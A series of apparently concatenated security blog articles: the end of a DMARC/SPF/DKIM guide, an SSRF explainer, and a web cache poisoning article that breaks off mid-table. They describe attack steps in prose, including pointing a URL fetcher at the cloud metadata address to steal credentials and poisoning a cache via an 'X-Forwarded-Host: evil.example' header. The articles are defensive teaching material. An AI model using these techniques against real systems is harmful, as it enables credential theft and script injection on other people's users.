The aggregate reports that arrive at your rua address are XML summaries, one per reporting receiver per day, and they are the instrument that makes a safe rollout possible. Each report groups mail by sending source and records, for each group, the sending IP, how many messages it sent, and whether they passed SPF and DKIM with alignment. Learning to read them is the core skill of a DMARC deployment.
The picture you are building is an inventory of every source sending mail that claims your domain. Some sources you will recognize immediately: your own mail provider, your newsletter platform, your invoicing or support system. Each of these should show passing, aligned results once configured correctly. Sources that fail alignment fall into two groups. The first is legitimate services you forgot about or misconfigured, and the fix is to bring them into your SPF record or enable DKIM signing for them. The second is unauthorized senders, which may be spammers or spoofers using your domain, and these are exactly the mail your eventual reject policy will block.
Aggregate reports summarize authentication results by source and volume. They do not contain message subjects, bodies, or recipient lists, so they are a privacy-respecting operational feed rather than a copy of your mail. A separate and optional forensic report type can carry sample failing messages, and many operators skip it for privacy reasons. Treat the aggregate feed as your primary rollout instrument and read it until every legitimate source passes cleanly.
## Detection and monitoring signals
Beyond the initial rollout, the reports and your mail logs give ongoing signals worth watching.
- **A new sending source appearing in reports.** An IP or provider you do not recognize starting to send as your domain is either a service someone in your organization enabled without telling you, or a spoofing attempt. Both deserve a look.
- **A rise in DMARC failures for your domain.** A sustained increase in failing, unaligned mail claiming your domain often indicates an active spoofing campaign using your name, which is useful early warning even when your reject policy is already blocking it.
- **A legitimate source slipping from pass to fail.** A provider that was passing and begins to fail alignment usually signals a configuration change on their side, a rotated DKIM key, or a new sending IP outside your SPF record. Catching it in reports prevents your own mail from being quarantined.
- **Subdomain activity.** Mail claiming subdomains you do not actively use can indicate an attacker choosing a subdomain because they expect it to be less protected. This is why the subdomain policy tag matters.
## Common mistakes
**Jumping straight to reject.** Publishing a reject policy before reading reports bounces legitimate mail from services you did not know were sending as you. Start at none, account for every legitimate source, then tighten in stages.
**Leaving SPF at soft fail forever.** Starting with a soft fail while you build the authorized list is sensible. Staying there indefinitely weakens the record, because a soft fail asks receivers to accept and mark rather than reject unauthorized mail. Move to a hard fail once the list is complete.
**Forgetting subdomains.** A domain locked to reject still leaves its subdomains exposed if the subdomain policy is not set, and an attacker will happily spoof a subdomain instead. Set the subdomain policy deliberately rather than relying on inheritance you have not confirmed.
**Overstuffing the SPF record.** SPF evaluation has a limit on the number of DNS lookups it will perform, and a record packed with many nested includes can exceed it, causing SPF to fail even for legitimate mail. Keep the record lean and consolidate providers where you can.
**Treating DKIM keys as set-and-forget.** Keys should be rotated periodically, and a rotation done carelessly can break signing until the new public key propagates in DNS. Plan rotations, publish the new key before switching, and watch reports through the change.
## How email authentication evolved
The standards arrived in layers, each answering a gap the previous one left. SPF came first, giving domain owners a way to declare which servers were authorized to send for them. It worked against the crudest spoofing and it left two holes: it authorized the invisible envelope sender rather than the visible From, and it broke when mail was forwarded. DKIM followed with a cryptographic signature that traveled with the message, surviving forwarding and proving the content was unaltered, and it left its own gap: a valid signature proved some domain signed the message without requiring that domain to match the From address the user reads.
DMARC was designed specifically to close the alignment gap that SPF and DKIM shared, tying the passing domain to the visible From and adding an instruction to receivers plus a reporting channel back to the domain owner. Together the three form a layered system where each covers a weakness in the others. The reporting channel proved to be as valuable as the enforcement, because it gave operators the visibility to deploy safely and to see who was sending as them. The direction of travel since has been toward wider adoption of reject policies and richer tooling for reading reports, as more receivers enforce DMARC and more senders complete the journey from monitor to full enforcement.
## Frequently asked questions
**Do I need all three, or is one enough?**
You need all three working together. SPF and DKIM each authenticate something, and neither on its own requires the authenticated domain to match the From address the recipient sees. DMARC supplies that alignment requirement plus policy and reporting, and it depends on at least one of SPF or DKIM passing and aligning, so the three are a set.
**Why does SPF break on forwarding?**
SPF checks the connecting server's IP against your list of authorized senders. When a message is forwarded, the forwarding server relays it from an IP you never listed, so SPF fails for that hop. DKIM survives forwarding because its signature travels with the message and does not depend on the sending IP, which is one reason the two standards complement each other.
**What is DMARC alignment in plain terms?**
Alignment means the domain that passed SPF or DKIM has to match the domain in the visible From address. Without alignment, an attacker could pass a check on a domain they own while showing your domain to the victim. Requiring the match is what actually protects the address your recipients read.
**Is it safe to start at a reject policy?**
It is risky. A reject policy takes effect immediately on every receiver that honors it, and any legitimate service you forgot to authorize will have its mail blocked. Start at none, read the aggregate reports until you can account for every legitimate sender, then move through quarantine to reject on the evidence.
**What does the percentage tag do?**
It applies your policy to a fraction of failing mail rather than all of it, which lets you ramp enforcement gradually. Quarantining a portion of failures first shows you the effect on a smaller slice before you take the policy to the full volume, turning a sudden change into a measured one.
**Will these standards stop all phishing?**
They stop exact spoofing of your domain, which is a significant category. They do not stop lookalike domains, display-name tricks, or compromised legitimate accounts, so attackers shift to those once your domain is locked down. Pair strong authentication with user awareness and the broader controls covered in the phishing guides.
**How long should I stay in monitor mode?**
Long enough to see a full cycle of your legitimate mail and account for every sender in the reports, which is commonly a few weeks and depends on how many services send as you. The goal is confidence that no legitimate source is failing alignment before you begin quarantining, rather than a fixed calendar date. Organizations with many sending services and seasonal mail, such as quarterly invoicing or annual campaigns, may need to watch longer to catch sources that only send occasionally. A source that sends once a quarter will not appear in the reports until it does, so a rollout that ends too soon can quarantine legitimate mail the first time a rare sender fires.
## The bottom line
SPF says which servers may send for you. DKIM signs your messages so forgery and tampering are detectable. DMARC forces those checks to line up with the address your recipients actually see, tells receivers what to do when they do not, and reports back who is sending as you. Deploy all three, roll DMARC out from monitor to reject on the evidence of the reports, and you take domain spoofing off the table for your organization. For the wider setup, see the [Email Security Guide](/email-security-guide).
## Related guides
- [Email Security Guide](/email-security-guide)
- [What Is Phishing](/what-is-phishing)
- [AI Phishing Attacks](/ai-phishing-attacks)
- [Best Secure Email](/best-secure-email)
### Sources
- Sender Policy Framework (SPF) (RFC 7208) (IETF): https://datatracker.ietf.org/doc/html/rfc7208
- DomainKeys Identified Mail (DKIM) Signatures (RFC 6376) (IETF): https://datatracker.ietf.org/doc/html/rfc6376
- Domain-based Message Authentication, Reporting, and Conformance (DMARC) (RFC 7489) (IETF): https://datatracker.ietf.org/doc/html/rfc7489
---
## SSRF Explained: Server-Side Request Forgery & Cloud Metadata
> How server-side request forgery works, why it's so dangerous in the cloud, basic vs blind SSRF, real impact like stealing cloud credentials, and how to defend.
- URL: https://blog.pwnsy.com/ssrf-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: intermediate
- Category: web-security
- Tags: ssrf, web-security, owasp, cloud-security, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Terraform Security Checklist: 12 Settings Behind Cloud Breaches](https://blog.pwnsy.com/terraform-security-checklist), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification)
### TL;DR
- SSRF tricks a server into making HTTP requests the attacker chooses, turning a trusted backend into a proxy that reaches internal systems the attacker cannot touch directly.
- The highest-impact SSRF targets cloud metadata endpoints, where a single forged request can hand over temporary cloud credentials.
- Blind SSRF returns no response to the attacker, but it is still exploitable through timing, out-of-band callbacks, and internal side effects.
- The only robust defense is to validate and allowlist outbound destinations on the server, not to filter the user's input for bad-looking URLs.
### Key Takeaways
- SSRF earned its own category in the OWASP Top 10 because of how consistently it leads to full cloud compromise.
- Deny-by-default outbound allowlisting beats blocklisting internal IP ranges, which attackers bypass with redirects, DNS rebinding, and alternate IP encodings.
- Enforcing IMDSv2 (or the equivalent) removes the easy path to cloud credential theft via the metadata service.
- SSRF often hides in features that fetch a URL: webhooks, link previews, PDF generators, image proxies, and import-from-URL flows.
- Network segmentation limits the blast radius when application-layer controls fail.
Give an application a feature that fetches a URL, and you may have handed an attacker a way to reach every system that application can reach. That is server-side request forgery, SSRF, and in cloud environments it has become one of the highest-impact web vulnerabilities there is.
The mechanics are almost embarrassingly simple, which is part of why the bug is so common. The damage, on the other hand, can be total.
## The core idea
Many applications make outbound requests on the user's behalf. A webhook that calls back to a URL you provide. A "preview this link" feature. A PDF generator that renders a page you specify. An avatar uploader that accepts an image URL. In each case, the **server** makes the request, using the server's network position and the server's trust.
SSRF is what happens when the attacker controls where that request goes. Instead of pointing the feature at a normal external URL, they point it inward:
```
https://your-app.example/fetch?url=http://internal-admin-panel.local/
```
The internal admin panel is not reachable from the public internet. Firewalls see to that. The application server, sitting inside the network, reaches it easily. By forging the request through the trusted server, the attacker borrows its access. A backend that was meant to fetch public images becomes a proxy into the internal network.
## Why the cloud made SSRF critical
SSRF existed for years as a moderate-severity nuisance. Cloud computing turned it into a crown-jewels bug, because of one design choice shared across the major providers: the **instance metadata service**.
Cloud virtual machines can query a special internal address to learn about themselves, including, on default configurations, temporary credentials for the role the instance is running as. That address is reachable only from the instance itself. Which is to say, reachable from any process on the instance, including a web app with an SSRF flaw.
Chained together, the attack is short and brutal: SSRF the application into requesting the metadata endpoint, read back the temporary cloud credentials, then use them to act as the instance across the cloud account. On MITRE ATT&CK this is [Cloud Instance Metadata API abuse (T1552.005)](https://attack.mitre.org/techniques/T1552/005/), and it has featured in some of the largest cloud breaches on record.
The link-local metadata address `169.254.169.254` is the single most valuable SSRF target in a cloud environment. Any application that fetches user-supplied URLs and can reach that address is one forged request away from leaking cloud credentials. Enforcing IMDSv2, which requires a session token and blocks the naive request, closes this specific door.
## Basic vs blind SSRF
**Basic (in-band) SSRF** returns the response of the forged request to the attacker. They see the internal admin page, the metadata output, the internal API response. This is the easiest to exploit and the easiest to notice.
**Blind SSRF** does not return the response. The application makes the request but discards the body, or only tells you whether it succeeded. It is still exploitable:
- **Out-of-band detection.** Point the request at a server the attacker controls and watch for the callback. If it arrives, the SSRF is real, and the source IP and DNS lookups reveal internal details.
- **Timing.** A request to an open internal port responds differently from a closed one. Response-time differences let an attacker map the internal network blind.
- **Side effects.** Even without reading a response, forcing the server to hit an internal endpoint can trigger actions: restarting a service, sending an internal request that changes state.
Blind SSRF is quieter and slower, but it is not safe.
## Where SSRF hides
The vulnerability lives anywhere a server turns user input into an outbound request. The usual suspects:
- Webhook and callback URL fields
- Link-preview and unfurling features
- Server-side PDF and screenshot generators
- Image and file proxies, "import from URL" uploaders
- Document converters and XML/PDF parsers that follow external references
- Integrations that let a user configure an endpoint
Any of these is worth a hard look during review.
## Why input filtering fails
The instinct is to block bad-looking URLs: reject anything pointing at `localhost`, `127.0.0.1`, or private IP ranges. Attackers have a deep bag of tricks to defeat exactly this:
- **Alternate encodings** of the same address (decimal, octal, hex, IPv6-mapped forms).
- **DNS rebinding**, where a hostname resolves to a safe address when validated and a dangerous one when fetched.
- **Redirects**, where an allowed URL responds with a redirect to an internal target and the server follows it.
- **Obscure schemes**, where `file://`, `gopher://` or others reach places `http` filters did not consider.
Blocklists lose this race. The list of things to block is open-ended, and the attacker only needs one bypass.
## How to actually defend against SSRF
The controls that hold up share a principle: decide where the server is allowed to go, and deny everything else.
1. **Allowlist outbound destinations.** For each URL-fetching feature, define the small set of domains or hosts it legitimately needs and reject the rest. Deny by default. This is the single most effective control.
2. **Validate after resolution, and pin it.** Resolve the hostname, confirm the resulting IP is in your allowed set, and connect to that exact IP so DNS cannot change under you (defeating rebinding).
3. **Do not follow redirects blindly.** If you must, re-validate every hop against the allowlist.
4. **Restrict schemes and ports** to what the feature needs, normally just `https` on `443`.
5. **Enforce IMDSv2** (or your provider's hardened metadata mode) so the metadata service requires a token an SSRF cannot easily supply.
6. **Segment the network.** Put URL-fetching services where they cannot reach internal admin planes or sensitive services. When the app-layer control fails, segmentation caps the damage.
Treat SSRF as a defense-in-depth problem. Application-layer allowlisting stops the request; network segmentation and IMDSv2 make the request worthless even if it gets through. Rely on either alone and a single bypass is game over.
SSRF is a small bug with an outsized reach. It costs an attacker one controllable URL and gives them the network position of your trusted backend. Build the URL-fetching features in your app on a deny-by-default allowlist from the start, harden the cloud metadata service, and segment the network behind them, and you remove both the easy win and the catastrophic one.
## A worked SSRF walkthrough
It helps to trace a single attack from the outside in, because the individual steps are each unremarkable and the danger lives in how they chain.
Picture an application with a profile page that lets you set an avatar by pasting an image URL. The server fetches that URL, resizes the image, and stores the result. A normal request looks like `https://cdn.example.com/cats/tabby.png`, and the server dutifully downloads it. Nothing about the feature looks risky. It is a convenience most products ship without a second thought.
The attacker starts by confirming the server, rather than the browser, makes the fetch. They host a URL on infrastructure they control and paste it in. When their own server logs an inbound request from the application's egress IP address rather than from the attacker's home connection, the behaviour is confirmed. The application is a request engine that will call arbitrary destinations.
Next they probe inward. They swap the external URL for `http://127.0.0.1:8080/` and watch how the application responds. An error that mentions a connection refused on one port and a different response on another is a map of what services listen on the loopback interface. The attacker walks common ports, learning that an internal admin service answers on one of them, all without the target service ever being exposed to the internet.
Then they reach for the prize. On a cloud instance they point the avatar fetcher at the link-local metadata address and request the path that lists instance roles, then the path that returns temporary credentials for a role. If the metadata service is running in its unauthenticated mode, the response is a small block of text containing an access key, a secret, and a session token. The attacker copies those into their own tooling and now holds valid, if temporary, credentials for the cloud account.
From there the damage is a function of what that role can do. A role scoped to a single storage bucket leaks that bucket. A role with broad permissions, which is depressingly common, opens the whole account. The entry point was a box that asked for an image URL. Every step after it was legitimate machinery doing exactly what it was built to do, pointed somewhere it was never meant to go.
## Detection signals
SSRF is quiet by nature, because the malicious request comes from your own trusted server and often looks like ordinary outbound traffic. The signals that give it away tend to sit in logs people do not routinely watch.
- **Outbound requests to internal or link-local addresses.** A URL-fetching service that suddenly connects to `169.254.169.254`, `127.0.0.1`, or an RFC 1918 private range is the clearest tell there is. Egress logs and proxy logs are where this shows up.
- **Metadata endpoint access in application context.** Any hit on the instance metadata service that originates from a web-facing process, rather than from expected system tooling, deserves an alarm. On hardened setups this path should almost never be walked by the application itself.
- **A spike in fetch errors across many hosts or ports.** Blind SSRF probing produces a scatter of connection attempts to addresses and ports the feature has no business touching. A burst of timeouts and refusals clustered in time is a fingerprint of internal port scanning through the app.
- **Requests whose destination hostname resolves to a private IP.** Logging the resolved address alongside the requested hostname catches DNS rebinding and cases where an allowed domain quietly points inward.
- **Redirect chains that end on internal targets.** If your fetcher follows redirects, a request that starts at a public URL and lands on an internal one is worth capturing and reviewing.
- **Out-of-band callbacks you did not initiate.** Interaction with unexpected external domains, especially freshly registered ones, can indicate an attacker using a callback listener to confirm blind SSRF.
Most SSRF detection fails because logs record the hostname a feature was asked to fetch and never the address it actually connected to. Capturing the post-resolution IP for every outbound request turns DNS rebinding and encoded-address tricks from invisible into obvious, because the private-range destination shows up in plain text.
## SSRF compared to related web bugs
SSRF gets confused with a handful of neighbouring vulnerabilities because several of them involve URLs, redirects, or requests crossing a trust boundary. The distinctions matter, because the fixes differ.
| Technique | Who makes the request | Core abuse | Primary fix |
|---|---|---|---|
| SSRF | The server | Server fetches an attacker-chosen internal or sensitive destination | Deny-by-default outbound allowlist, IMDSv2, segmentation |
| CSRF | The victim's browser | Victim is tricked into sending an authenticated request they did not intend | Anti-CSRF tokens, SameSite cookies |
| Open redirect | The victim's browser | App redirects the user to an attacker-controlled external site | Validate and allowlist redirect targets |
| XXE | The server (XML parser) | External entity references pull in files or internal URLs during parsing | Disable external entity resolution |
| DNS rebinding | The server or client | A hostname's resolution changes between validation and use | Pin the resolved IP, re-validate on connect |
The pattern to hold on to: CSRF and open redirect abuse the trust a browser has, while SSRF and XXE abuse the trust and network position a server has. SSRF and XXE often blur together because a permissive XML parser is one of the classic ways to trigger SSRF, and DNS rebinding is less a separate bug than a technique that makes SSRF filtering fail.
## Common misconceptions
**"We validate the URL, so we are safe."** Input validation on the string the user submits is the control attackers spend the most effort defeating. Alternate IP encodings, redirects, and DNS rebinding all pass a naive string check and still reach an internal target. Validation has to happen after DNS resolution, against the actual IP the connection will use, with that IP pinned for the connection.
**"Blind SSRF is low severity because nothing comes back."** Not seeing the response only removes the easiest exploitation path. Timing differences map internal services, out-of-band callbacks confirm reachability, and forced internal requests trigger state changes. Blind SSRF has led to full credential theft in cases where the metadata response was exfiltrated through a side channel.
**"Only public-facing apps are at risk."** An internal service with an SSRF flaw is often a more valuable pivot, because it already sits deep in the network. Any service that fetches URLs on someone else's behalf is a candidate, wherever it lives.
**"Blocking `localhost` and private ranges is enough."** Blocklisting is a losing race against an open-ended set of bypasses. The metadata address itself is a link-local address that people frequently forget to include, and even a complete blocklist falls to rebinding. Allowlisting the small set of destinations a feature legitimately needs is the control that holds.
**"IMDSv2 fixes SSRF."** Hardening the metadata service removes one specific and catastrophic target. It does nothing about SSRF reaching internal admin panels, databases, or other services. It is a critical layer, and it is not the whole defence.
## How SSRF became a cloud problem
SSRF is not new. Server-side request forgery was described and exploited for years as a moderate-severity issue, useful mainly for reaching internal services on a flat network or scanning ports from inside a perimeter. It rarely topped a severity list, because the payoff was usually reconnaissance rather than direct compromise.
Two shifts changed its standing. The first was the move to cloud infrastructure and the arrival of the instance metadata service as a standard feature. Suddenly every cloud virtual machine carried a local endpoint that would hand out credentials to whatever process asked, and SSRF was the way for a web application to become that process. A reconnaissance bug turned into a credential-theft bug overnight, and several of the largest publicly discussed cloud breaches followed that exact path.
The second shift was architectural. Modern applications are meshes of services that call one another over HTTP, pull in webhooks, generate link previews, render pages to PDF, and import data from URLs. Every one of those features is a place where user input can steer a server-side request. As the number of URL-fetching features per application grew, so did the attack surface.
The industry response was to promote SSRF into the OWASP Top 10 as its own category, a recognition that it had graduated from a niche finding to a systemic risk. Cloud providers responded by hardening the metadata service, offering a token-based mode that a naive forged request cannot satisfy. The technique and its defences have been co-evolving since, which is why the durable answer is architectural rather than a single patch.
## Beyond the metadata endpoint
The metadata service gets the headlines, and it is worth knowing the other destinations that make SSRF valuable, because hardening one target does not retire the technique.
Internal APIs are a frequent second prize. Many organisations run administrative and orchestration APIs that trust any request arriving from inside the network and skip authentication on the assumption that the perimeter keeps outsiders away. SSRF puts the attacker inside that perimeter, so those APIs answer as if the request were legitimate. Container and orchestration platforms often expose control endpoints on the loopback interface or a private address, and reaching them can mean scheduling workloads, reading secrets, or listing the whole cluster.
Databases and caches that bind to an internal interface are reachable too, especially through protocol-smuggling tricks. Some SSRF flaws allow schemes beyond `http`, and a scheme like `gopher` can be abused to send crafted bytes to a service that speaks a line-based protocol, effectively letting the forged request issue commands to an internal cache or queue. This is why restricting the allowed schemes to exactly what a feature needs, usually `https` alone, matters as much as restricting the destination.
Cloud provider APIs and internal identity endpoints round out the list. Once an attacker holds credentials pulled from the metadata service, the same SSRF or the stolen keys can be turned against the provider's own management interfaces. The lesson is consistent: the value of SSRF scales with everything the trusted server can reach, so the defence has to constrain that reach rather than guard a single famous address.
## Frequently asked questions
**Is SSRF only an issue in the cloud?**
No. SSRF is exploitable anywhere a server makes requests on behalf of a user, including on-premise networks where it can reach internal admin interfaces, databases, and other services. The cloud metadata angle is what raised its ceiling to full account compromise, which is why cloud environments get the most attention.
**What is the difference between SSRF and CSRF?**
They sound alike and are unrelated in mechanism. CSRF tricks a victim's browser into sending an authenticated request the user did not intend. SSRF tricks a server into sending a request to a destination the attacker chose. CSRF abuses browser trust, SSRF abuses server trust and network position.
**Can HTTPS or a web application firewall stop SSRF?**
Not reliably. Encryption protects data in transit and does nothing about where a request is aimed. A firewall tuned for inbound attacks may not inspect the outbound requests SSRF generates, and payloads that use alternate encodings or redirects routinely slip past signature-based rules. The effective controls live in the application and network design.
**What is IMDSv2 and why does it matter?**
It is the hardened mode of the cloud instance metadata service that requires a session token obtained through a specific request before it will return credentials. A basic SSRF that simply fetches the metadata URL cannot supply that token, which closes the single most damaging SSRF path. It should be enforced on every instance.
**How do I test my own application for SSRF?**
Identify every feature that fetches a URL, then point each one at a server you control and confirm whether the request arrives from your application's egress address. From there, test internal addresses, the metadata endpoint, alternate IP encodings, and redirect following. Do this only against systems you own or are authorised to test.
**Does allowlisting outbound destinations break legitimate features?**
It requires you to know what each feature legitimately needs to reach, which is a healthy thing to know anyway. Most URL-fetching features talk to a small, stable set of domains. The rare feature that must fetch genuinely arbitrary user URLs should be isolated on infrastructure that cannot reach anything sensitive, so a forged request lands nowhere useful.
**Is SSRF still relevant now that metadata services are hardened?**
Yes. Hardening removed the easiest catastrophic target, and SSRF still reaches internal services, databases, admin panels, and other cloud endpoints. It remains an OWASP Top 10 category because the underlying pattern, a server making attacker-controlled requests, is baked into how modern applications are built.
## Related guides
- [The Capital One Breach](/capital-one-breach-explained)
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [CSRF Explained](/csrf-explained)
- [Cloud Misconfigurations Guide](/cloud-misconfigurations-guide)
- [API Security Guide](/api-security-guide)
- [Cloud Security Fundamentals](/cloud-security-fundamentals)
### Sources
- OWASP: Server-Side Request Forgery (OWASP): https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
- OWASP Top 10: A10 Server-Side Request Forgery (OWASP): https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
- MITRE ATT&CK: Cloud Instance Metadata API (T1552.005) (MITRE): https://attack.mitre.org/techniques/T1552/005/
---
## Web Cache Poisoning: Cache Keys, Unkeyed Inputs & Defense
> How web cache poisoning turns a shared cache into a delivery system for attacker content by abusing unkeyed inputs, and how to defend the cache key.
- URL: https://blog.pwnsy.com/web-cache-poisoning-explained
- Date: 2026-07-24
- Updated: 2026-07-24
- Difficulty: advanced
- Category: web-security
- Tags: cache-poisoning, web-security, owasp, http, appsec
- Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained)
### TL;DR
- Web cache poisoning tricks a shared cache into storing an attacker-influenced response and serving it to everyone who requests the same resource.
- It works when a request input affects the response but is not part of the cache key, so the cache treats a poisoned response as valid for the normal URL.
- One crafted request can turn into a payload delivered to every subsequent visitor until the entry expires, amplifying XSS, redirects, and defacement.
- The defense is to align the cache key with everything that changes the response, or to stop those inputs from changing cached content at all.
### Key Takeaways
- The cache key is the set of request parts (usually method, host, and path, sometimes a few headers) the cache uses to decide if two requests are the same.
- An unkeyed input is any request element that alters the response but is left out of the key, and it is the raw material of every cache poisoning attack.
- Common culprits are headers like X-Forwarded-Host and X-Forwarded-Scheme that the application reflects into responses but the cache ignores.
- Cache poisoning chains with other bugs: an unkeyed header reflected without encoding becomes stored XSS delivered by the cache.
- Defenses include keying on all response-affecting inputs, stripping unkeyed request headers at the edge, and not caching responses that vary on untrusted input.
Caches exist to serve the same content to many people cheaply. That is their purpose and, from a security standpoint, their hazard. If an attacker can convince a shared cache to store a response of their choosing under a URL that ordinary users request, the cache does the attacker's distribution for them. One malicious request goes in, and a poisoned response comes out for every visitor who asks for that page until the cache entry expires. This is web cache poisoning, and it turns a performance layer into an attack multiplier.
The attack rewards patience and precision. It depends on understanding one specific idea, the cache key, and on finding the inputs the cache forgot to include in it.
## The cache key is the whole game
When a request arrives, a cache has to decide whether it already holds a response that will do. It answers that by computing a **cache key** from selected parts of the request. Typically the key is the request method, the host, and the path, sometimes with a specific query string or a small set of headers added. If a new request produces the same key as a stored response, the cache serves the stored copy without asking the origin server.
Everything the cache puts into the key is **keyed**. Everything else is **unkeyed**. Unkeyed inputs are the crux of cache poisoning. If a request element is unkeyed but still changes the response the origin generates, then two requests that the cache considers identical can produce different responses, and the cache cannot tell them apart. An attacker sends a request whose unkeyed input produces a malicious response, the cache stores it against the normal key, and it then hands that malicious response to real users whose requests match the same key.
## A concrete walkthrough
Suppose an application generates absolute URLs in its pages (for scripts, links, or redirects) using the `X-Forwarded-Host` header, which is a common pattern behind proxies. The cache, meanwhile, keys only on host and path and ignores `X-Forwarded-Host` entirely. That header is unkeyed but response-affecting, the exact combination the attack needs.
An attacker sends a request for the home page with `X-Forwarded-Host: evil.example`. The origin dutifully builds the page with resource URLs pointing at `evil.example`, for instance a script tag loading JavaScript from the attacker's server. The cache stores this response under the ordinary home-page key, because as far as it can see this was a normal request for the home page. From that moment, every user who loads the home page is served the cached copy, and their browser fetches and runs the attacker's script. A single request has become stored cross-site scripting delivered to the whole audience of that page.
What makes cache poisoning dangerous is reach. A reflected vulnerability normally harms only the user who clicked the crafted link. Route it through a shared cache and the same payload is served to everyone who requests the poisoned resource, with no link to click. The blast radius is the cache's entire audience for that entry, for as long as the entry lives.
## The families of unkeyed input
| Source | Example | Why it poisons |
|---|---|---|
| Forwarding headers | `X-Forwarded-Host`, `X-Forwarded-Scheme` | Reflected into links and redirects, ignored by the key |
| Custom application headers | App-specific headers that toggle behavior | Change the response body but are not keyed |
| Unkeyed query parameters | Parameters the cache strips before keying | Alter the response yet collapse to the same key |
| Cache key normalization quirks | Case, encoding, or trailing-character handling | Let an attacker hit the same key as victims by a path the origin treats differently |
Two conditions must hold together for any of these: the input must change the response, and the cache must exclude it from the key. Where both are true, the resource is poisonable.
## What an attacker can deliver
Cache poisoning is a delivery mechanism, so its ceiling is set by what the unkeyed input lets the response do:
- **Stored XSS**, when an unkeyed header or parameter is reflected into the page without proper encoding.
- **Malicious redirects**, when the poisoned response sends users to an attacker site, effectively a cache-delivered open redirect.
- **Defacement or content injection**, when reflected input changes visible page content.
- **Denial of service**, when a crafted request makes the origin return an error that the cache then stores and serves for a legitimate URL, a variant known as cache-key denial of service.
- **Loading of attacker resources**, when reflected host or scheme values point scripts, styles, or imports at attacker-controlled origins.
It also pairs with HTTP request smuggling: a smuggled request can force a poisoned entry into the cache even where the cache would not otherwise accept the attacker's input directly.
## Why this is easy to miss
The vulnerable request often looks completely normal in isolation. The attacker adds one header most tools do not display, gets an ordinary-looking response, and the poisoning only becomes visible when a different user, later, on a different request, is served the stored copy. Testing requires sending the crafted request, then a clean request for the same key, and checking whether the clean request receives the poisoned response. Missing that second step hides the whole class of bug.
## How to defend against cache poisoning
Every durable control comes back to one rule: nothing that changes the response may be left out of the cache key, and nothing untrusted should change a cached response.
1. **Key on every input that affects the response.** If a header or parameter can change what the origin returns, either include it in the cache key or stop the origin from varying on it. The `Vary` response header is the standard way to tell caches which request headers matter.
2. **Strip unkeyed request headers at the edge.** Remove headers like `X-Forwarded-Host` and other forwarding or custom headers at the cache or CDN before they reach the origin, unless the origin genuinely needs them and they are keyed. If the origin never sees the unkeyed input, it cannot reflect it.
3. **Do not build responses from untrusted request headers.** Generate absolute URLs, redirects, and links from server configuration, not from client-supplied host or scheme headers. This removes the reflection at the source, which also fixes the related host header injection risk.
4. **Encode all reflected output.** If any input does reach the response, contextual output encoding stops it from becoming XSS even if a resource is poisoned. Cache poisoning turns a reflection bug into a broadcast, so removing the reflection removes the broadcast payload.
5. **Do not cache what should not be cached.** Mark responses that depend on untrusted or per-user input as uncacheable with explicit `Cache-Control` directives, so they never enter a shared cache in the first place.
6. **Normalize cache keys carefully.** Ensure the cache and origin agree on path casing, encoding, and trailing characters so an attacker cannot poison the key victims will hit by exploiting a normalization gap.
For every cache in front of your application, ask two questions of each request element: does it change the response, and is it in the key. If the answer is yes-and-no, you have a poisoning primitive. Fix it by putting the input in the key, or by stripping the input before the origin can react to it. One of those two must be true for every response-affecting field.
## Where caches live and why it matters
The word cache covers several very different layers, and the poisoning risk looks different at each one. Knowing where a response is stored tells you who is affected and how long the poisoning lasts.
A **content delivery network** sits at the edge, close to users, and caches responses for a whole region or the whole internet. Poisoning an entry here has the widest blast radius, because every user routed to that edge node receives the stored copy. CDNs also tend to key aggressively on just host and path for performance, which is exactly the condition that leaves headers unkeyed.
A **reverse proxy** in front of the origin caches on behalf of the application for all its users. Poisoning it affects everyone who hits that proxy for the resource. This is the classic shared-cache target described throughout this guide.
A **load balancer or gateway** may cache selectively, and any caching layer inside the request path counts, including ones teams forget are there.
The **browser cache** is per-user and private, so a poisoned entry harms only that one user. It matters far less for a broadcast attack, though it can still hold a bad response longer than expected for the individual.
The important operational point is that there is often more than one cache in the path, and they may key differently. A response can be uncacheable at the origin's intent yet still stored by an intermediary that reads the headers differently. Every cache between the user and the origin is a place the key and the response must agree, and a mismatch at any one of them is a poisoning primitive.
## How to test for cache poisoning
Because the vulnerable request looks ordinary in isolation, testing has a specific rhythm that separates it from most reflection testing. The method comes down to proving that an unkeyed input reaches other users.
1. **Find inputs that affect the response.** Add candidate headers to a request one at a time, for example forwarding headers or custom application headers, and watch whether the response changes. A value that appears reflected in the body, a link, or a redirect is a candidate.
2. **Confirm the input is unkeyed.** Send the same request without your crafted input and check whether the cache serves your earlier, modified response anyway. If a clean request receives the response shaped by your header, the input is unkeyed and the response was cached against the normal key.
3. **Use a cache buster while probing.** Add a unique, harmless query parameter during testing so you do not poison the real entry that live users hit. This lets you study the behavior without harming anyone, and you remove the buster only when you deliberately want to prove full impact in a controlled test.
4. **Look for the cache's own signals.** Response headers that indicate a hit or a miss, and age headers, tell you whether your response was stored and served from cache. Watching these confirms each step.
5. **Prove reach.** The finding is real when a request with none of your crafted input, matching the key a normal user would produce, receives the poisoned response. That is the whole vulnerability: an ordinary request served attacker-shaped content.
Skipping the second and fifth steps is the most common reason this class of bug is missed. A reflected header alone is not cache poisoning. The proof is that a clean request, later, gets the poisoned copy.
Always probe with a unique cache-buster parameter so your experiments do not poison the entry real users receive. Once you understand the behavior, the finding is only confirmed when you demonstrate, carefully, that a request matching the genuine key returns your content. The buster protects users while you learn; removing it in a controlled check is what proves the impact is real rather than confined to your own throwaway key.
## Cache poisoning versus cache deception
The two attacks sound alike and are frequently confused, so it helps to separate them cleanly.
| Aspect | Web cache poisoning | Web cache deception |
|---|---|---|
| Goal | Serve attacker content to other users | Trick the cache into storing a victim's private content |
| Who is harmed | Everyone who requests the poisoned resource | The victim whose sensitive response gets cached |
| Direction of the trick | Attacker shapes a response stored for others | Attacker causes a victim's response to be stored and then reads it |
| Root cause | Unkeyed input affects a cached response | Cache stores a response it should have treated as private |
